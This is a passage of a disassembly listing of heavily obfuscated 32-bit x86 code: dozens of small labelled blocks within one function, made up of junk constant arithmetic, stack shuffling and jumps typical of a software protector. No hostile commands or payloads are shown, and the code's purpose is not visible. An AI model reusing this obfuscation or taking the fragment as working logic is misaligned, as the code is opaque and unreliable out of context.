		push	edx
		mov	dh, 8Eh
		xor	dh, 89h
		add	dh, 7Bh
		sub	al, dh
		pop	edx
		xor	al, 4Fh
		jmp	loc_5A1AA8
; ---------------------------------------------------------------------------


loc_58FF93:				; CODE XREF: sub_57DD3A+203E5j
		add	eax, ebx
		jmp	loc_593E88
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+50h+var_50]
		push	3973h
		mov	[esp+54h+var_54], ecx
		jmp	loc_593AD8
; ---------------------------------------------------------------------------


loc_58FFAB:				; CODE XREF: sub_57DD3A+236CEj
		mov	[esp+54h+var_54], ebp
		jmp	loc_596D45
; ---------------------------------------------------------------------------


loc_58FFB3:				; CODE XREF: sub_57DD3A+1F151j
		xor	ecx, edi
		mov	edi, [esp+54h+var_54]
		add	esp, 4
		sub	ecx, 0DA152FBh
		xor	ecx, 36687DC0h
		or	ecx, 6D622074h
		jmp	loc_58F9FB
; ---------------------------------------------------------------------------


loc_58FFD2:				; CODE XREF: sub_57DD3A+145FFj
		pop	esi
		or	edi, 190926E7h
		shr	edi, 8
		jmp	loc_58F089
; ---------------------------------------------------------------------------


loc_58FFE1:				; CODE XREF: sub_57DD3A+172CEj
		add	esp, 4
		sub	eax, edi
		add	eax, 4F5F529Ah
		pop	edi
		push	esi
		jmp	loc_591E40
; ---------------------------------------------------------------------------


loc_58FFF2:				; CODE XREF: sub_57DD3A+24AACj
		pop	esi
		push	eax
		mov	eax, 9120146h
		or	eax, 30D071FEh
		shr	eax, 6
		jmp	loc_59CFE3
; ---------------------------------------------------------------------------


loc_590006:				; CODE XREF: sub_57DD3A+1EF93j
		pop	ebx
		sub	edx, edi
		jmp	loc_59EE90
; ---------------------------------------------------------------------------


loc_59000E:				; CODE XREF: sub_57DD3A+16AFEj
		push	ebx
		mov	ebx, 746C27AFh
		shr	ebx, 8
		not	ebx
		add	ebx, 59723D20h
		jmp	loc_59E050
; ---------------------------------------------------------------------------


loc_590024:				; CODE XREF: sub_57DD3A+20381j
		mov	[esp+0], ebx
		jmp	loc_59358B
; ---------------------------------------------------------------------------


loc_59002C:				; CODE XREF: sub_57DD3A+23839j
		push	eax
		jmp	loc_59C57C
; ---------------------------------------------------------------------------


loc_590032:				; CODE XREF: sub_57DD3A+10D1Dj
		pop	ebp
		push	eax
		push	4
		pop	eax
		jmp	loc_59A86A
; ---------------------------------------------------------------------------


loc_59003F:				; CODE XREF: sub_57DD3A+12F56j
		mov	ebx, 190169ACh
		shr	ebx, 5
		push	eax
		mov	eax, 247349Fh
		shr	eax, 5
		or	eax, 54F7000Eh
		add	eax, 1F93F70Bh
		jmp	loc_59AADF
; ---------------------------------------------------------------------------


loc_59005F:				; CODE XREF: sub_57DD3A+2255Fj
		mov	ebp, 8A38066h
		sub	esi, ebp
		pop	ebp
		add	ecx, esi
		pop	esi
		and	eax, ecx
		push	[esp+14h+var_16+2]
		pop	ecx
		jmp	loc_59D323
; ---------------------------------------------------------------------------


loc_590075:				; CODE XREF: sub_57DD3A+10CEBj
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59007A:				; CODE XREF: sub_57DD3A+21509j
		add	ebp, 4
		sub	esp, 4
		mov	[esp+6+var_8+2], eax
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 763A4EC1h
		push	3398h
		jmp	loc_5908FE
; ---------------------------------------------------------------------------


loc_5900A1:				; CODE XREF: sub_57DD3A+113F2j
		pop	edx
		sub	esp, 4
		mov	[esp+42h+var_42], eax
		mov	eax, ebx
		mov	ebp, eax
		pop	eax
		pop	ebx
		sub	ebp, 27E55A4Bh
		jmp	loc_5978AE
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+3Ah+var_3A]
		push	3779h
		mov	[esp+3Eh+var_3E], ebp
		mov	ebp, esp
		jmp	loc_59122B
; ---------------------------------------------------------------------------


loc_5900CF:				; CODE XREF: sub_57DD3A+1C029j
		mov	esi, 29C03E58h
		add	edx, esi
		mov	esi, [esp+3Eh+var_3E]
		jmp	loc_598167
; ---------------------------------------------------------------------------


loc_5900DE:				; CODE XREF: sub_57DD3A+1C5A9j
		pop	esp
		sub	esp, 4
		mov	[esp+3Eh+var_3E], ebx
		push	esp
		jmp	loc_59C46C
; ---------------------------------------------------------------------------


loc_5900EE:				; CODE XREF: sub_57DD3A+1D627j
		add	[esp+42h+var_3E], edx
		add	[esp+42h+var_3E], 1634CCAh
		pop	edx
		mov	edi, [esp+3Eh+var_3E]
		add	esp, 4
		jmp	loc_596A5A
; ---------------------------------------------------------------------------


loc_590106:				; CODE XREF: sub_57DD3A+23333j
		push	1E11h
		jmp	loc_594E35
; ---------------------------------------------------------------------------


loc_590110:				; CODE XREF: sub_57DD3A+1144Dj
		mov	[esp+56h+var_58+2], ebx
		mov	ebx, 1F1A425Bh
		jmp	loc_59DE37
; ---------------------------------------------------------------------------


loc_59011D:				; CODE XREF: sub_57DD3A+1E6B5j
		pop	edx
		add	edx, 4
		push	esi
		mov	esi, 4
		add	edx, 43357708h
		add	edx, esi
		sub	edx, 43357708h
		pop	esi
		jmp	loc_58F7A9
; ---------------------------------------------------------------------------


loc_59013E:				; CODE XREF: sub_57DD3A+23F91j
		push	436A3E0Fh
		pop	edi
		push	edx
		jmp	loc_596512
; ---------------------------------------------------------------------------


loc_59014A:				; CODE XREF: sub_57DD3A+24BA3j
		push	edx
		push	5AE00C85h
		mov	edx, [esp+5Eh+var_60+2]
		jmp	loc_592C3A
; ---------------------------------------------------------------------------


loc_590158:				; CODE XREF: sub_57DD3A+1DF70j
		pop	edi
		sub	edi, ecx
		pop	ecx
		add	edi, 9DD635DBh
		mov	esi, edi
		mov	edi, [esp+56h+var_58+2]
		add	esp, 4
		sub	esi, 0FFFFFFFFh
		jmp	loc_5A1697
; ---------------------------------------------------------------------------


loc_590175:				; CODE XREF: sub_57DD3A+14ADEj
		pop	eax
		add	bl, ch
		mov	cx, word ptr [esp+4Eh+var_50+2]
		jmp	loc_59F22C
; ---------------------------------------------------------------------------


loc_590181:				; CODE XREF: sub_57DD3A+23779j
		add	esp, 4
		sub	eax, 0C80F22B5h
		add	esi, eax
		pop	eax
		add	esi, 5E3651D6h
		pop	edi
		xchg	esi, [esp+42h+var_42]
		pop	esp
		push	6A55h
		jmp	loc_59083F
; ---------------------------------------------------------------------------


loc_5901A1:				; CODE XREF: sub_57DD3A+2405Bj
		neg	ah
		not	ah
		add	ah, 0A2h
		jmp	loc_59A931
; ---------------------------------------------------------------------------


loc_5901AD:				; CODE XREF: sub_57DD3A+1CDCDj
		xor	esi, ebx
		pop	ebx
		jmp	loc_59EFD0
; ---------------------------------------------------------------------------


loc_5901B5:				; CODE XREF: sub_57DD3A+19D75j
		xchg	edx, [esp+3Eh+var_3E]
		mov	ebp, [esp+3Eh+var_3E]
		add	esp, 4
		push	ebp
		push	[esp+3Eh+var_3A]
		pop	ebp
		jmp	loc_591B6D
; ---------------------------------------------------------------------------


loc_5901C9:				; CODE XREF: sub_57DD3A+1B46Dj
		xor	edi, 0BA5A2CD9h
		add	ebx, edi
		pop	edi
		jmp	loc_595404
; ---------------------------------------------------------------------------


loc_5901D7:				; CODE XREF: sub_57DD3A+19185j
		push	4AC62DC2h
		pop	ecx
		or	ecx, 2B0F40B0h
		dec	ecx
		inc	ecx
		sub	ecx, 6672679Ah
		mov	edi, ecx
		pop	ecx
		or	edi, 3D8654Ah
		xor	edi, 133E0D9Dh
		sub	eax, edi
		pop	edi
		shl	eax, 5
		not	eax
		inc	eax
		sub	eax, 39508810h
		sub	edx, 5B85061Bh
		sub	edx, eax
		add	edx, 5B85061Bh
		mov	eax, [esp+32h+var_32]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_596993
; ---------------------------------------------------------------------------


loc_590227:				; CODE XREF: sub_57DD3A+245E4j
		push	[esp+32h+var_2E]
		mov	ecx, [esp+36h+var_36]
		add	esp, 4
		pop	[esp+32h+var_32]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_598DF1
; ---------------------------------------------------------------------------


loc_590246:				; CODE XREF: sub_57DD3A+22EF0j
		add	dh, 0F6h
		sub	al, dh
		jmp	loc_593C8C
; ---------------------------------------------------------------------------
		push	[esp+2Eh+var_2E]
		mov	eax, [esp+32h+var_32]
		jmp	loc_595201
; ---------------------------------------------------------------------------


loc_59025B:				; CODE XREF: sub_57DD3A+22FFBj
		push	ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 66F24F74h
		xor	eax, 121A5BDAh
		or	eax, 2C8F026Ch
		add	eax, 627440A8h
		xor	eax, 62B36D35h
		sub	eax, 0BDD03A9Fh
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp+36h+var_36]
		pop	esp
		sub	esp, 4
		jmp	loc_5A0B9B
; ---------------------------------------------------------------------------


loc_59028F:				; CODE XREF: sub_57DD3A+1DEB0j
		mov	edx, 1E20906h
		sub	eax, 25310E70h
		sub	eax, edx
		add	eax, 25310E70h
		mov	edx, [esp+36h+var_36]
		jmp	loc_59C59D
; ---------------------------------------------------------------------------


loc_5902A8:				; CODE XREF: sub_57DD3A+22F01j
		xchg	edx, [esp+36h+var_36]
		push	[esp+36h+var_36]
		pop	ebx
		add	esp, 4
		push	edx
		mov	edx, 7A3F1FE3h
		sub	ebx, edx
		pop	edx
		or	ebx, 6BFE5338h
		add	ebx, 3507BF9Dh
		jmp	loc_59FDF7
; ---------------------------------------------------------------------------


loc_5902CC:				; CODE XREF: sub_57DD3A+1A191j
		mov	[esp+32h+var_32], ebp
		mov	edx, [esp+32h+var_32]
		add	esp, 4
		push	[esp+2Eh+var_2E]
		pop	ebp
		jmp	loc_59AC2B
; ---------------------------------------------------------------------------


loc_5902E1:				; CODE XREF: sub_57DD3A+20A83j
		mov	edx, 221A076Eh
		xor	esi, edx
		pop	edx
		sub	ecx, esi
		pop	esi
		add	ecx, ebx
		push	esi
		jmp	loc_58F61A
; ---------------------------------------------------------------------------


loc_5902F4:				; CODE XREF: sub_57DD3A+20593j
		push	3BFEh
		mov	[esp+2Eh+var_2E], ecx
		sub	esp, 4
		mov	[esp+32h+var_32], ebx
		push	edi
		mov	edi, 781C6A36h
		sub	[esp+36h+var_32], edi
		mov	edi, [esp+36h+var_36]
		add	esp, 4
		push	[esp+32h+var_32]
		pop	ecx
		push	ecx
		push	esp
		jmp	loc_59AC25
; ---------------------------------------------------------------------------


loc_590320:				; CODE XREF: sub_57DD3A+10CE2j
		push	esp
		pop	[esp+8+var_8]
		push	ecx
		mov	ecx, 4
		add	[esp+8+var_4], ecx
		pop	ecx
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	0B7Dh
		mov	[esp+4+var_4], eax
		jmp	loc_596F8F
; ---------------------------------------------------------------------------


loc_590345:				; CODE XREF: sub_57DD3A+2226Fj
		pop	eax
		mov	ebx, [esp+0]
		add	esp, 4
		add	dh, 1
		push	ax
		mov	ah, 6Bh
		xor	dh, ah
		pop	ax
		shr	dh, 6
		xor	dh, 11h
		jmp	loc_59F147
; ---------------------------------------------------------------------------


loc_590365:				; CODE XREF: sub_57DD3A+22BEAj
		add	byte ptr [esp-4+arg_0],	48h
		sub	byte ptr [esp-4+arg_0],	35h
		sub	byte ptr [esp-4+arg_0],	ah
		jmp	loc_58FC21
; ---------------------------------------------------------------------------


loc_590375:				; CODE XREF: sub_57DD3A+21705j
		add	edx, edi
		pop	edi
		sub	edx, 2
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ax
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59038A:				; CODE XREF: sub_57DD3A+1E7F8j
		mov	ecx, 0E5ED2762h
		add	esi, ecx
		pop	ecx
		push	esi
		jmp	loc_59F8C0
; ---------------------------------------------------------------------------


loc_590398:				; CODE XREF: sub_57DD3A+14BD3j
		xor	[esp+0], edx
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		btc	[esp+0], ax
		pushf
		jmp	loc_594631
; ---------------------------------------------------------------------------


loc_5903AC:				; CODE XREF: sub_57DD3A+1519Dj
		sub	ebp, 1
		xor	edx, ebp
		xor	ebp, edx
		jmp	loc_593D7D
; ---------------------------------------------------------------------------


loc_5903B8:				; CODE XREF: sub_57DD3A+1B0D5j
		mov	ebx, esp
		push	edi
		mov	edi, 3DC101B5h
		inc	edi
		push	edx
		mov	edx, 5C981495h
		and	edx, 3B453351h
		jmp	loc_5A324A
; ---------------------------------------------------------------------------


loc_5903D2:				; CODE XREF: sub_57DD3A+24E45j
		add	ebp, esi
		pop	esi
		push	ebx
		mov	ebx, 4
		jmp	loc_5934B8
; ---------------------------------------------------------------------------


loc_5903E0:				; CODE XREF: sub_57DD3A+143E5j
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		push	13EAh
		mov	[esp+4+var_4], eax
		mov	eax, esp
		add	eax, 4
		push	edi
		jmp	loc_592FAC
; ---------------------------------------------------------------------------


loc_590400:				; CODE XREF: sub_57DD3A+1D1D9j
		sub	al, ch
		push	cx
		mov	ch, 0F2h
		sub	al, ch
		mov	cx, [esp+0]
		add	esp, 2
		push	ebx
		jmp	loc_596BF5
; ---------------------------------------------------------------------------


loc_590415:				; CODE XREF: sub_57DD3A+1A03Ej
		mov	dx, [esp+0]
		add	esp, 2
		push	ecx
		mov	ch, 4Bh
		add	bl, ch
		pop	ecx
		add	bl, 0A3h
		sub	bl, 85h
		add	bl, al
		add	bl, 85h
		sub	bl, 0A3h
		push	7E6Eh
		mov	[esp+0], edx
		mov	dh, 33h
		sub	esp, 4
		mov	[esp+0Eh+var_E], eax
		mov	al, 2
		or	dh, al
		push	[esp+0Eh+var_E]
		pop	eax
		push	ecx
		jmp	loc_599C0C
; ---------------------------------------------------------------------------


loc_59044E:				; CODE XREF: sub_57DD3A+17A17j
		push	28F6h
		mov	[esp+16h+var_16], edi
		mov	edi, 69F06561h
		jmp	loc_59EF36
; ---------------------------------------------------------------------------


loc_590460:				; CODE XREF: sub_57DD3A+17F0Ej
		mov	ebx, 6F251F05h
		xor	ebx, 7BB93D2Dh
		or	edx, ebx
		pop	ebx
		jmp	loc_59F3E9
; ---------------------------------------------------------------------------


loc_590473:				; CODE XREF: sub_57DD3A+22015j
		push	[esp+12h+var_12]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5A20F0
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0Eh+var_E]
		push	50F4h
		mov	[esp+12h+var_12], esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	ebp
		push	edx
		push	ecx
		jmp	loc_59C72F
; ---------------------------------------------------------------------------


loc_5904A3:				; CODE XREF: sub_57DD3A+14BADj
		push	67E0h
		mov	[esp+22h+var_22], edx
		mov	edx, 1FF854EBh
		mov	edi, 0FD71B0Eh
		xor	edi, edx
		push	[esp+22h+var_22]
		pop	edx
		add	esp, 4
		jmp	loc_597139
; ---------------------------------------------------------------------------


loc_5904C3:				; CODE XREF: sub_57DD3A+1FD1Fj
		xchg	esi, [esp+1Eh+var_1E]
		pop	ebp
		neg	ebp
		xor	ebp, 1FB4033Eh
		jmp	loc_590F90
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5904DB:				; CODE XREF: sub_57DD3A+22EA6j
		add	edi, 4
		xchg	edi, [esp+16h+var_16]
		pop	esp
		push	edi
		push	[esp+16h+var_12]
		mov	edi, [esp+1Ah+var_1A]
		jmp	loc_5A01E6
; ---------------------------------------------------------------------------


loc_5904F2:				; CODE XREF: sub_57DD3A+1A404j
		and	edx, 7E9577CDh
		sub	esp, 4
		mov	[esp+1Eh+var_1E], edx
		not	[esp+1Eh+var_1E]
		pop	edx
		push	ebx
		jmp	loc_59EAD7
; ---------------------------------------------------------------------------


loc_590508:				; CODE XREF: sub_57DD3A+18EB0j
		push	eax
		jmp	loc_5A2B3F
; ---------------------------------------------------------------------------


loc_59050E:				; CODE XREF: sub_57DD3A+19338j
		pop	edx
		xor	dh, al
		mov	ax, word ptr [esp+1Eh+var_1E]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp+22h+var_22]
		pop	esp
		jmp	loc_59BE4F
; ---------------------------------------------------------------------------


loc_590529:				; CODE XREF: sub_57DD3A+18EC4j
		push	esi
		jmp	loc_59F1E5
; ---------------------------------------------------------------------------


loc_59052F:				; CODE XREF: sub_57DD3A+1B40Dj
		mov	si, 2248h
		xor	bp, si
		pop	si
		sub	bp, 4B84h
		add	bp, 99DFh
		and	dx, bp
		pop	ebp
		sub	dx, 49B1h
		push	dx
		xchg	dx, word ptr [esp+1Eh+var_1E]
		not	dx
		xchg	dx, word ptr [esp+1Eh+var_1E]
		pop	dx
		push	bp
		mov	bp, 33D4h
		and	bp, 42A4h
		dec	bp
		add	bp, 2BD1h
		xor	bp, 6741h
		add	bp, 57BDh
		add	bp, 681Ah
		add	dx, bp
		jmp	loc_596CD0
; ---------------------------------------------------------------------------


loc_590583:				; CODE XREF: sub_57DD3A+19D05j
		pop	eax
		jmp	loc_58EA5C
; ---------------------------------------------------------------------------


loc_590589:				; CODE XREF: sub_57DD3A+1C3B3j
		push	ebx
		push	[esp+1Eh+var_1A]
		pop	ebx
		pop	[esp+1Eh+var_1E]
		jmp	loc_5962C5
; ---------------------------------------------------------------------------


loc_590597:				; CODE XREF: sub_57DD3A+15FDEj
		and	ebp, 31BF04C5h
		sub	esp, 4
		mov	[esp+1Eh+var_1E], edx
		mov	edx, 205E4FE0h
		xor	ebp, edx
		pop	edx
		or	edx, ebp
		jmp	loc_58E934
; ---------------------------------------------------------------------------


loc_5905B5:				; CODE XREF: sub_57DD3A+19E58j
		mov	ebx, [esp+1Ah+var_1A]
		add	esp, 4
		and	dl, cl
		push	[esp+16h+var_16]
		jmp	loc_59AA6D
; ---------------------------------------------------------------------------


loc_5905C5:				; CODE XREF: sub_57DD3A+1A7B5j
		push	esi
		mov	esi, 46B97579h
		add	ebp, esi
		jmp	loc_59BCC3
; ---------------------------------------------------------------------------
		push	[esp+1Eh+var_1E]
		pop	ecx
		jmp	loc_5928D7
; ---------------------------------------------------------------------------


loc_5905DB:				; CODE XREF: sub_57DD3A+1F47Cj
		mov	[esp+1Eh+var_1E], edx
		push	ebx
		push	78D53DEDh
		pop	ebx
		add	ebx, 872AC311h
		mov	edx, ebx
		pop	ebx
		mov	esi, edx
		pop	edx
		and	[edi+1Ch], esi
		pop	esi
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5905FA:				; CODE XREF: sub_57DD3A+1A4F8j
		sub	eax, 235E31Dh
		add	edi, 465B61FFh
		add	edi, eax
		push	1300h
		mov	[esp+1Ah+var_1A], ebx
		mov	ebx, 465B61FFh
		jmp	loc_592036
; ---------------------------------------------------------------------------


loc_590619:				; CODE XREF: sub_57DD3A+210FEj
		push	[esp+1Ah+var_16]
		pop	ebp
		pop	[esp+1Ah+var_1A]
		pop	esp
		mov	[esp+12h+var_12], ecx
		push	[esp+12h+var_E]
		pop	ecx
		pop	[esp+12h+var_12]
		pop	esp
		xor	edx, [esp+0]
		xor	[esp+0], edx
		jmp	loc_5A3040
; ---------------------------------------------------------------------------


loc_590639:				; CODE XREF: sub_57DD3A+18F5Dj
		sub	ebp, 2262416Dh
		jmp	loc_5A2E52
; ---------------------------------------------------------------------------


loc_590644:				; CODE XREF: sub_57DD3A+230D6j
		push	1ECD46D7h
		pop	ecx
		xor	ecx, 5E9564B1h
		jmp	loc_597175
; ---------------------------------------------------------------------------


loc_590655:				; CODE XREF: sub_57DD3A+23628j
		mov	eax, 7AE04703h
		inc	eax
		sub	eax, 65565589h
		jmp	loc_59195B
; ---------------------------------------------------------------------------


loc_590665:				; CODE XREF: sub_57DD3A+17976j
		mov	esp, [esp+0]
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		push	dword ptr [esp+0]
		push	[esp+0Eh+var_E]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5913B0
; ---------------------------------------------------------------------------


loc_590686:				; CODE XREF: sub_57DD3A+180A2j
		sub	ebp, 4
		push	ebp
		push	[esp+16h+var_12]
		mov	ebp, [esp+1Ah+var_1A]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp+12h+var_12]
		push	esp
		pop	dword ptr [esp]
		push	edx
		mov	edx, 4
		sub	[esp+16h+var_12], 1EFF74E1h
		push	edx
		jmp	loc_591A2D
; ---------------------------------------------------------------------------


loc_5906B8:				; CODE XREF: sub_57DD3A+16C7Fj
		pop	esp
		add	esp, 4
		add	dword ptr [edi+24h], 2DD85186h
		push	ecx
		push	edi
		push	22110D16h
		jmp	loc_5A11A3
; ---------------------------------------------------------------------------


loc_5906CF:				; CODE XREF: sub_57DD3A+13F4Aj
		sub	esp, 4
		mov	[esp+22h+var_22], edx
		xor	[esp+22h+var_22], 50A23F10h
		mov	eax, [esp+22h+var_22]
		add	esp, 4
		xor	eax, 50A23F10h
		pop	edx
		neg	eax
		add	eax, 1
		push	ebx
		mov	ebx, 6584402Ah
		sub	eax, 3CB523FAh
		sub	eax, ebx
		add	eax, 3CB523FAh
		pop	ebx
		sub	esi, eax
		push	[esp+1Ah+var_1A]
		pop	eax
		add	esp, 4
		push	325h
		mov	[esp+1Ah+var_1A], esi
		jmp	loc_59BF31
; ---------------------------------------------------------------------------


loc_59071E:				; CODE XREF: sub_57DD3A+1B01Bj
		push	edi
		mov	edi, 1E457CE5h
		sub	edi, 1E457CE1h
		add	ebp, edi
		pop	edi
		xor	ebp, [esp+1Ah+var_1A]
		xor	[esp+1Ah+var_1A], ebp
		xor	ebp, [esp+1Ah+var_1A]
		jmp	loc_59553E
; ---------------------------------------------------------------------------


loc_59073B:				; CODE XREF: sub_57DD3A+10E6Ej
		mov	esi, 588B7BF0h
		mov	ebp, 69293DB2h
		xor	ebp, esi
		pop	esi
		sub	ecx, ebp
		pop	ebp
		shr	ecx, 7
		jmp	loc_5952D4
; ---------------------------------------------------------------------------


loc_590753:				; CODE XREF: sub_57DD3A+2025Dj
		mov	word ptr [esp+20h+var_22+2], ax
		push	edx
		jmp	loc_58E8D5
; ---------------------------------------------------------------------------


loc_59075D:				; CODE XREF: sub_57DD3A+15C1Dj
		mov	edi, 5DD91B33h
		dec	edi
		shl	edi, 5
		dec	edi
		sub	edi, 3C792C24h
		jmp	loc_593A2C
; ---------------------------------------------------------------------------


loc_590772:				; CODE XREF: sub_57DD3A+17F08j
		sub	ebx, 600C41BEh
		push	eax
		push	ebp
		mov	ebp, 5F32B74h
		jmp	loc_58F8D4
; ---------------------------------------------------------------------------


loc_590784:				; CODE XREF: sub_57DD3A+1461Ej
		xor	edi, [esp+2Ch+var_2E+2]
		pop	esp
		jmp	loc_58E5AA
; ---------------------------------------------------------------------------


loc_59078D:				; CODE XREF: sub_57DD3A+2508Bj
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+28h+var_2A+2]
		jmp	loc_59666E
; ---------------------------------------------------------------------------


loc_59079E:				; CODE XREF: sub_57DD3A+1A8B5j
		mov	al, dh
		mov	[ecx], al
		pop	eax
		pop	edx
		jmp	loc_595AFA
; ---------------------------------------------------------------------------


loc_5907A9:				; CODE XREF: sub_57DD3A+1340Cj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+20h+var_22+2]
		mov	esp, [esp+20h+var_22+2]
		jmp	loc_591E11
; ---------------------------------------------------------------------------


loc_5907BF:				; CODE XREF: sub_57DD3A+18ECFj
		pop	eax
		jmp	loc_59788B
; ---------------------------------------------------------------------------


loc_5907C5:				; CODE XREF: sub_57DD3A+228B1j
		add	edi, ecx
		pop	ecx
		xor	edi, [esp+18h+var_1A+2]
		xor	[esp+18h+var_1A+2], edi
		xor	edi, [esp+18h+var_1A+2]
		pop	esp
		push	ebx
		push	eax
		mov	ah, 0A2h
		mov	bh, ah
		jmp	loc_59FF9E
; ---------------------------------------------------------------------------


loc_5907DD:				; CODE XREF: sub_57DD3A+19D2Bj
		pop	esp
		jmp	loc_59FEA8
; ---------------------------------------------------------------------------


loc_5907E3:				; CODE XREF: sub_57DD3A+17484j
		not	esi
		and	esi, 0AD65828h
		add	esi, 0A7C17F01h
		jmp	loc_59C5C7
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	52E6h
		mov	[esp+1Ch+var_1E+2], ebx
		sub	esp, 4
		jmp	loc_598D07
; ---------------------------------------------------------------------------


loc_590809:				; CODE XREF: sub_57DD3A+23A46j
		add	ch, 1
		shl	ch, 4
		shl	ch, 5
		xor	ch, 0E5h
		push	eax
		jmp	loc_59903D
; ---------------------------------------------------------------------------


loc_59081B:				; CODE XREF: sub_57DD3A+1D134j
		push	4141h
		jmp	loc_5A2C0B
; ---------------------------------------------------------------------------


loc_590825:				; CODE XREF: sub_57DD3A+14EF0j
		sub	esi, edx
		pop	edx
		push	edi
		mov	edi, 15AC5EB9h
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], ebx
		push	ecx
		push	60074E50h
		jmp	loc_59DD44
; ---------------------------------------------------------------------------


loc_59083F:				; CODE XREF: sub_57DD3A+12462j
		mov	[esp+42h+var_42], edx
		sub	esp, 4
		mov	[esp+46h+var_46], ebp
		push	ebx
		mov	ebx, 74051974h
		push	6C24h
		mov	[esp+4Eh+var_50+2], ecx
		jmp	loc_597CCF
; ---------------------------------------------------------------------------


loc_59085B:				; CODE XREF: sub_57DD3A+112CBj
		push	ebx
		mov	ebx, 3BAB2949h
		jmp	loc_596AA0
; ---------------------------------------------------------------------------


loc_590866:				; CODE XREF: sub_57DD3A+1C62Dj
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		jmp	loc_59CCF7
; ---------------------------------------------------------------------------


loc_590874:				; CODE XREF: sub_57DD3A+1B5A7j
		push	eax
		mov	eax, esp


loc_590877:				; DATA XREF: sub_57DD3A+16CE8o
					; sub_57DD3A+16CF5o
		push	ebx
		mov	ebx, 4
		jmp	loc_58F9D6
; ---------------------------------------------------------------------------


loc_590882:				; CODE XREF: sub_57DD3A+11E4Cj
		pop	ebp
		push	7041h
		mov	[esp+3Ah+var_3A], edx
		jmp	loc_5961ED
; ---------------------------------------------------------------------------


loc_590890:				; CODE XREF: sub_57DD3A+1D6F0j
		add	esp, 4
		sub	esi, 1A111839h
		jmp	loc_59E19F
; ---------------------------------------------------------------------------


loc_5908A1:				; CODE XREF: sub_57DD3A+21589j
		mov	[esp+36h+var_36], ebp
		jmp	loc_5970B3
; ---------------------------------------------------------------------------


loc_5908A9:				; CODE XREF: sub_57DD3A+18731j
		mov	dh, ch
		mov	ecx, [esp+36h+var_36]
		jmp	loc_598E2C
; ---------------------------------------------------------------------------


loc_5908B3:				; CODE XREF: sub_57DD3A+1A412j
		add	ebp, eax
		push	esi
		push	145A253Eh
		mov	esi, [esp+3Eh+var_3E]
		add	esp, 4
		sub	ebp, 0FC51FA0h
		jmp	loc_59283D
; ---------------------------------------------------------------------------


loc_5908CC:				; CODE XREF: sub_57DD3A+24D8Aj
		add	esp, 4
		xor	ecx, 66CA480Dh
		and	ecx, 117F433Ah
		jmp	loc_599467
; ---------------------------------------------------------------------------


loc_5908E3:				; CODE XREF: sub_57DD3A+19C91j
		xor	[esp+36h+var_36], 57C4A01h
		pop	eax
		push	27BDh
		mov	[esp+36h+var_36], edi
		mov	edi, 33F056Dh
		push	ebx
		jmp	loc_5927D6
; ---------------------------------------------------------------------------


loc_5908FE:				; CODE XREF: sub_57DD3A+12362j
		mov	[esp+0Eh+var_E], esi
		not	[esp+0Eh+var_E]
		pop	esi
		shl	esi, 6
		push	57BAh
		mov	[esp+0Eh+var_E], edx
		push	eax
		jmp	loc_597F74
; ---------------------------------------------------------------------------


loc_590916:				; CODE XREF: sub_57DD3A+25363j
		sub	eax, 22912634h
		not	eax
		add	eax, 0D815BDD3h
		jmp	loc_596481
; ---------------------------------------------------------------------------


loc_590927:				; CODE XREF: sub_57DD3A+1C5C2j
		sub	ecx, 5E8F079Ah
		add	ecx, 7A958E84h
		sub	edx, ecx
		pop	ecx
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59093B:				; CODE XREF: sub_57DD3A+1ACEEj
		and	ebx, ebp
		pop	ebp
		xor	ebx, 75383B18h
		sub	ebx, 25013915h
		sub	eax, 30ED6A11h
		add	eax, ebx
		add	eax, 30ED6A11h
		pop	ebx
		jmp	loc_5981E8
; ---------------------------------------------------------------------------


loc_59095C:				; CODE XREF: sub_57DD3A+11C8Fj
		push	esi
		mov	esi, 18FFE169h
		add	ecx, esi
		pop	esi
		xor	edx, ecx
		pop	ecx
		sub	esi, edx
		pop	edx
		sub	edx, 17C26C5Ah
		add	edx, esi
		push	edi
		mov	edi, 2C8A439Bh
		xor	edi, 4E0E7989h
		inc	edi
		jmp	loc_593551
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, 4
		push	esi
		mov	esi, 62115A0Bh
		jmp	loc_596768
; ---------------------------------------------------------------------------


loc_590999:				; CODE XREF: sub_57DD3A+24F95j
		pop	ebx
		add	ebx, edi
		pop	edi
		add	ebp, ebx
		mov	ebx, [esp+0Ch+var_E+2]
		jmp	loc_59DA7C
; ---------------------------------------------------------------------------


loc_5909A7:				; CODE XREF: sub_57DD3A+1DED4j
		add	edi, 4
		jmp	loc_591D55
; ---------------------------------------------------------------------------


loc_5909B2:				; CODE XREF: sub_57DD3A+16FF6j
		pop	ebx
		sub	edi, 4
		xor	edi, [esp+8+var_8]
